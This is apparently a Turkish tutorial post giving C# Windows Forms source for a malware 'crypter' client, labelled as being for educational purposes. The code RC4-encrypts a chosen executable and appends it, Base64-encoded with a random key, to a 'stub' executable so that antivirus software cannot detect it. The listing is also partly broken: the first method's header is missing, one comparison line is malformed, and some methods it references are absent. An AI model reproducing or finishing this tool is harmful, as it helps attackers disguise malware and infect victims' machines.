Hadi C# ile Crypter Client'i yazalım

        {
            string text = "ABCDEFG{}^Ç:><?}{|'''''/;.~][´=HIJKLMNO!@#$%¨&*()_+`{}^Ç:><?}{|'''''/;.~][´=-PQRSTUVWXYZ0123456789";
            Random random = new Random();
            StringBuilder stringBuilder = new StringBuilder();
            for (int i = 1; i <= lenght; i++)
            {
                int startIndex = random.Next(0, 55);
                stringBuilder.Append(text.Substring(startIndex, 1));
            }
            return stringBuilder.ToString();
        }

        private void openFileDialog1_FileOk(object sender, CancelEventArgs e)
        {
        }

        private void button1_Click_1(object sender, EventArgs e)
        {
            this.openFileDialog1.FileName = "";
            this.openFileDialog1.Filter = "Exeniz |*.exe";
            this.openFileDialog1.InitialDirectory = Environment.GetFolderPath(Environment.SpecialFolder.Desktop);
            if (this.openFileDialog1.ShowDialog(this) == DialogResult.OK)
            {
                this.textBox1.Text = this.openFileDialog1.FileName;
            }
            else
            {
                MessageBox.Show("İptal Edildi", "Başarısız", MessageBoxButtons.OK, MessageBoxIcon.Exclamation);
            }
        }

        private void button4_Click_1(object sender, EventArgs e)
        {
            for (int i = 0; i <= 15; i++)
            {
                Thread.Sleep(19);
                Application.DoEvents();
                this.textBox3.Text = Form1.RandomString(30);
            }
        }

        private void button3_Click_1(object sender, EventArgs e)
        {
            this.saveFileDialog1.FileName = "Crypted";
            this.saveFileDialog1.Filter = "Save |*.Exe";
            this.saveFileDialog1.InitialDirectory = Environment.GetFolderPath(Environment.SpecialFolder.Desktop);
            if (this.saveFileDialog1.ShowDialog(this) == DialogResult.OK)
            {
                string fileName = this.saveFileDialog1.FileName;
                if (this.textBox1.Text == ") || (this.textBox2.Text == ")
                {
                    MessageBox.Show("Server Şifrelenirken Bir Hata Oluştu !", "Hata", MessageBoxButtons.OK, MessageBoxIcon.Hand);
                }
                else
                {
                    try
                    {
                        if (File.Exists(this.saveFileDialog1.FileName))
                        {
                            File.SetAttributes(this.saveFileDialog1.FileName, FileAttributes.Normal);
                            File.Delete(this.saveFileDialog1.FileName);
                        }
                    }
                    catch (Exception ex)
                    {
                        MessageBox.Show(ex.Message, "Error", MessageBoxButtons.OK, MessageBoxIcon.Hand);
                    }
                    string text = this.textBox1.Text;
                    string text2 = this.textBox2.Text;
                    string text3 = this.textBox3.Text;
                    byte[] inArray = this.RC4cryptedd(File.ReadAllBytes(text), "[~dabc32b63abbf874dfd32c38632c3863abb4abbf8052c3863abbf801dabc32b~]");
                    File.Copy(text2, fileName);
                    File.AppendAllText(fileName, string.Concat(new object[]
                    {
                        "[~0d52c3863abbf874dfd32c38632c3863abb4abbf8052c3863abbf801dabc32b~]",
                        Convert.ToBase64String(inArray),
                        "[~0d52c3863abbf874dfd32c38632c3863abb4abbf8052c3863abbf801dabc32b~]",
                        text3,
                        "[~0d52c3863abbf874dfd32c38632c3863abb4abbf8052c3863abbf801dabc32b~]",
                        this.Dz1,
                        "[~0d52c3863abbf874dfd32c38632c3863abb4abbf8052c3863abbf801dabc32b~]",
                        this.Dz2
                    }));
                    MessageBox.Show("Başarılı Bir Şekilde Şifrelendi", "Başarılı", MessageBoxButtons.OK, MessageBoxIcon.Asterisk);
                }
            }
            else
            {
                MessageBox.Show("İptal Edildi", "Başarısız", MessageBoxButtons.OK, MessageBoxIcon.Exclamation);
            }
        }

private void InitializeComponent()
{
    this.button1 = new Button();
    this.button2 = new Button();
    this.button3 = new Button();
    this.button4 = new Button();
    this.textBox1 = new TextBox();
    this.textBox2 = new TextBox();
    this.textBox3 = new TextBox();
    this.openFileDialog1 = new OpenFileDialog();
    this.openFileDialog2 = new OpenFileDialog();
    this.saveFileDialog1 = new SaveFileDialog();
    this.label1 = new Label();

    base.SuspendLayout();

    // Button 1 settings
    this.button1.Font = new Font("Microsoft Sans Serif", 9f, FontStyle.Bold | FontStyle.Italic, GraphicsUnit.Point, 162);
    this.button1.Location = new Point(244, 300);
    this.button1.Name = "button1";
    this.button1.Size = new Size(75, 23);
    this.button1.TabIndex = 0;
    this.button1.Text = "EXE";
    this.button1.UseVisualStyleBackColor = true;
    this.button1.Click += this.button1_Click_1;

    // Button 2 settings
    this.button2.Font = new Font("Microsoft Sans Serif", 9f, FontStyle.Bold | FontStyle.Italic, GraphicsUnit.Point, 162);
    this.button2.Location = new Point(244, 329);
    this.button2.Name = "button2";
    this.button2.Size = new Size(75, 23);
    this.button2.TabIndex = 1;
    this.button2.Text = "Stub";
    this.button2.UseVisualStyleBackColor = true;
    this.button2.Click += this.button2_Click_1;

    // Button 3 settings
    this.button3.Font = new Font("Microsoft Sans Serif", 9f, FontStyle.Bold | FontStyle.Italic, GraphicsUnit.Point, 162);
    this.button3.Location = new Point(12, 389);
    this.button3.Name = "button3";
    this.button3.Size = new Size(307, 35);
    this.button3.TabIndex = 2;
    this.button3.Text = "Crypted";
    this.button3.UseVisualStyleBackColor = true;
    this.button3.Click += this.button3_Click_1;

    // Button 4 settings
    this.button4.Font = new Font("Microsoft Sans Serif", 9f, FontStyle.Bold | FontStyle.Italic, GraphicsUnit.Point, 162);
    this.button4.Location = new Point(244, 360);
    this.button4.Name = "button4";
    this.button4.Size = new Size(75, 23);
    this.button4.TabIndex = 3;
    this.button4.Text = "Şifre";
    this.button4.UseVisualStyleBackColor = true;
    this.button4.Click += this.button4_Click_1;

    // TextBox 1 settings
    this.textBox1.Location = new Point(12, 302);
    this.textBox1.Name = "textBox1";
    this.textBox1.Size = new Size(226, 20);
    this.textBox1.TabIndex = 4;

    // TextBox 2 settings
    this.textBox2.Location = new Point(12, 329);
    this.textBox2.Name = "textBox2";
    this.textBox2.Size = new Size(226, 20);
    this.textBox2.TabIndex = 5;

    // TextBox 3 settings
    this.textBox3.Location = new Point(12, 360);
    this.textBox3.Name = "textBox3";
    this.textBox3.Size = new Size(226, 20);
    this.textBox3.TabIndex = 6;

    // OpenFileDialog settings
    this.openFileDialog1.FileName = "openFileDialog1";
    this.openFileDialog1.FileOk += this.openFileDialog1_FileOk;
    this.openFileDialog2.FileName = "openFileDialog2";

    // Label settings
    this.label1.AutoSize = true;
    this.label1.Font = new Font("Microsoft Sans Serif", 6.75f, FontStyle.Bold, GraphicsUnit.Point, 162);
    this.label1.Location = new Point(12, 436);
    this.label1.Name = "label1";
    this.label1.Size = new Size(292, 12);
    this.label1.TabIndex = 8;
    this.label1.Text = "Eğitim Amaçlı Crypter";

    // Form settings
    base.AutoScaleDimensions = new SizeF(6f, 13f);
    base.AutoScaleMode = AutoScaleMode.Font;
    base.ClientSize = new Size(339, 458);
    base.Controls.Add(this.label1);
    base.Controls.Add(this.textBox3);
    base.Controls.Add(this.textBox2);
    base.Controls.Add(this.textBox1);
    base.Controls.Add(this.button4);
    base.Controls.Add(this.button3);
    base.Controls.Add(this.button2);
    base.Controls.Add(this.button1);

    this.MaximumSize = new Size(347, 485);
    this.MinimumSize = new Size(347, 485);
    base.Name = "Form1";
    base.ShowIcon = false;
    this.Text = "Crypter";
    base.Load += this.Form1_Load;

    base.ResumeLayout(false);
    base.PerformLayout();
}